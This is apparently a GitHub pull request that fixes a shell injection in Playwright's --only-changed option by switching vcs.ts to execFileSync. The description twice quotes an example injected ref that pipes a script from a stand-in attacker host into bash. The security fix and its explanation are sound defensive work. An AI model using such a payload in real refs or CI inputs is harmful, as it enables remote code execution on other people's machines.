fix(cli): prevent shell injection in --only-changed ref argument#40657
Open
SebTardif wants to merge 1 commit intomicrosoft:mainfrom
Open
fix(cli): prevent shell injection in --only-changed ref argument#40657SebTardif wants to merge 1 commit intomicrosoft:mainfrom
SebTardif wants to merge 1 commit intomicrosoft:mainfrom
Conversation
The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:
execSync(`git diff ${baseCommit} --name-only`)
A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.
Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
execSyncwithexecFileSyncusing argument arrays invcs.tsto prevent shell injection via the--only-changed [ref]CLI optionProblem
The
--only-changed [ref]option flows from the CLI intodetectChangedTestFiles()where it is interpolated into a shell string:A ref value containing shell metacharacters (e.g.,
; curl attacker.com/shell.sh | bash) would execute the injected command.Why this matters now
Playwright's own CI documentation recommends passing environment variables to
--only-changedin GitHub Actions workflows (docs/src/ci.md):This pattern is actively copied by the community:
npx playwright test --only-changedon every commit (example)"changed": "npx playwright test --only-changed"(example)--only-changed=$GITHUB_BASE_REFfor CI sharding (example)While
$GITHUB_BASE_REFitself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to--only-changed. The natural variations,$GITHUB_HEAD_REF(attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).The fix applies
execFileSyncwith argument arrays to all git calls invcs.ts, including the shallow clone detection fallback.execFileSyncbypasses the shell entirely, so metacharacters in the ref have no effect.Changes
packages/playwright/src/runner/vcs.ts: Replace allexecSynccalls withexecFileSyncusing argument arrays